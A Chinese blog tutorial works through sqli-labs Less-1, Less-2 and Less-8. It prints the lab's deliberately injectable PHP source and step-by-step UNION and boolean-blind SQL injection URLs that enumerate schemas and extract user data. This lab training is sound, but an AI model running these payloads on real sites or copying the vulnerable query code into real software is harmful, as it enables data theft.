SQL注入(上)
前言
个人观点,若有误请指教
工具的准备
- phpstudy(自寻网上安装教程)
- sqli-labs:
①下载链接:https://github.com/Audi-1/sqli-labs
②解压后,创建本地网站(具体步骤:https://blog.csdn.net/weixin_46962006/article/details/121041162)
③打开 安装目录\sqli-labs-master\sql-connections目录下的db-creds.inc文件(以记事本打开)
④sqli-labs需要在php5的版本下运行,所以下载高版本的phpstudy需要安装php5并把创建的网站所对应的php版本改成php5(要不然无法在网站上初始化数据库).
⑤初始化数据库(点击红框)
Less-1
源码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else {
echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
实操
-
观看数据库表
-
查询数据库某个ID用户
-
查看是否没有过滤(注入点)
提示:可以用其他字符来测试,但’比较方便,哪怕其他字符被过滤掉了,凭借着这个也能进入。如id = 1’ or '1 = 1。这里会报错,证明’没有被过滤掉。
-
查看数据库表的字段数(为了联合查询作准备,联合查询需要字段数一致)
注意:#不能直接在url地址栏中输入,查看URL中特殊字符转义编码
注解:%23也可以被替换成 –+(注释加空格)
-
联合查询之显示字段点
-
联合查询之数据库名称与版本
-
联合查询之数据库所有表名
sql.test/Less-1/?id=’ union select 1, group_concat(table_name), user() from information_schema.tables where table_schema = database() %23
注解:mysql函数详解
-
联合查询之指定表中所有的字段
sql.test/Less-1/?id=’ union select 1, group_concat(column_name), user() from information_schema.columns where table_schema = database() and table_name = “emails” %23
-
联合查询之窃取数据
sql.test/Less-1/?id=’ union select 1, id, email_id from emails %23
sql.test/Less-1/?id=’ union select 1, id, email_id from emails limit 1, 1 %23
-
个人总结:
- 该注入基于单引号报错,因为使用’去测试时,会多一个’
- 字符串与数字比较时,字符串会隐性转化为数字
- mysql查询语句(select)的结果:
①select 1
②select user()
③select id from emails
Less-2
源码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-2 **Error Based- Intiger**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-2.jpg" /></center>
</body>
</html>
实操
-
观看数据库表
-
查询数据库某个ID用户
-
查看是否没有过滤(注入点)
提示:可以用其他字符来测试,但’比较方便。这里会报错,证明’没有被过滤掉。
-
查看数据库表的字段数(为了联合查询作准备,联合查询需要字段数一致)
注解:通过多次测试,验证数据表的字段数为3(order by 数字, 数字代表是以第几列进行排序)
-
联合查询之显示字段点
-
联合查询之数据库名称与版本
-
联合查询之数据库所有表名
sql.test/less-2/?id=0 union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema = database()
注解:mysql函数详解
-
联合查询之指定表中所有的字段
sql.test/less-2/?id=0 union select 1, group_concat(column_name), 3 from information_schema.columns where table_name = ‘emails’
-
联合查询之窃取数据
sql.test/less-2/?id=0 union select 1, id, email_id from emails where id = 2
-
个人总结:
- 该注入基于数字报错,因为sql语句中没有给id的值加’’,也就是说它一定要输入数字才不会报错.但操作与基于报错型注入都一样的。
Less-8
源码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-8 Blind- Boolian- Single Quotes- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else {
echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-8.jpg" /></center>
</body>
</html>
实操
- 获得数据库长度
sql.test/less-8/?id=1’ and (length(database()))=8 --+
- 获得数据库名称
如下:成功找到了第一个字符(可以通过大于或小于号先缩小范围再等于)
sql.test/less-8/?id=1’ and (ascii(substr(database(),1,1)))=115 --+
按照长度来讲,我们只要找8次就可以获得完整的名称了。但这样是不是很麻烦,万一数据库长度很长,每次都这样繁琐的寻找?显然不是,这里我们使用BurpSuite工具破解 (若没有,请自行寻找网上教程)
- 获得数据表的数量
sql.test/less-8/?id=1’ and (select count(table_name) from information_schema.tables where table_schema=database()) =4 --+
- 获得数据表名长度
sql.test/less-8/?id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1) =6 --+
注解:以上是只获得第一个表名长度,如果要获得其他表名长度,修改limit后面的数字即可
- 获得数据表名称
sql.test/less-8/?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0, 1),1,1)))=101 --+
注解:这里同样可以使用Burp来破解,更快更方便。获得database()数据库中的第一个表名。
-
获得数据表的字段总数
sql.test/less-8/?id= 1’ and (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=‘users’ and TABLE_SCHEMA=‘security’) = 3 --+
-
获得数据表的字段长度
sql.test/less-8/?id= 1’ and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=‘users’ and TABLE_SCHEMA=‘security’ limit 0,1) = 2 --+
注解:获得user表第一个字段的长度。
-
获得表的字段名字
sql.test/less-8/?id= 1’ and (ascii(substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=‘users’ and TABLE_SCHEMA=‘security’ limit 0,1), 1, 1))) = 105 --+
注解:可以使用Burp进行破解,获得user表第一个字段的名字(根据其长度)。
-
获得字段数据内容长度
sql.test/less-8/?id= 1’ and (select length(username) from users limit 0,1) = 4 --+
注解:获得users表username字段的第一条内容长度。
-
获得字段数据内容
sql.test/less-8/?id= 1’ and (ascii(substr((select username from users limit 0,1), 1, 1))) = 68 --+
注解:可以使用Burp进行暴力破解,获得users表username字段的第一条内容。 -
个人总结:
- 该注入为盲注中的布尔注入,也就是说回响只有两种状态(True和False)。像这个源码,如果查询成功(有值),则打印You are in…(看不到查询的具体内容),否则没反应(查询内容为空或者查询语句有错误)。
- 传参时id与=之间是不能有空格的,其他的倒是可以(任何Less都一样)
URL中特殊字符转义编码
字符 | URL编码值 |
---|---|
空格 | %20 |
" | %22 |
# | %23 |
% | %25 |
& | %26 |
( | %28 |
) | %29 |
+ | %2B |
, | %2C |
/ | %2F |
: | %3A |
; | %3B |
< | %3C |
= | %3D |
> | %3E |
? | %3F |
@ | %40 |
\ | %5C |
| | %7C |
MySQL函数
①group_concat()一般搭配group by使用(具体上网查),但如果没有group by,则直接将那一个字段所有的值合拼(以,分隔);
②user()返回MySQL连接的当前用户名和主机名;
③information_schema数据库,是mysql安装之后自带的数据库,其里面保存着所有数据库,而其table表保存所有数据库的表名。
④Lenghth() 返回字符串的长度
⑤Ascii() 返回字符串的AScii码
⑥Substr(x,num1,num2),从num1开始截取字符串x,截取数量为num2
⑦sleep(x) 将程序执行延迟x秒
⑧if(exp1, xep2, xep3) 如果第一个语句/条件正确,他就执行xep2代码,否则就执行xep2代码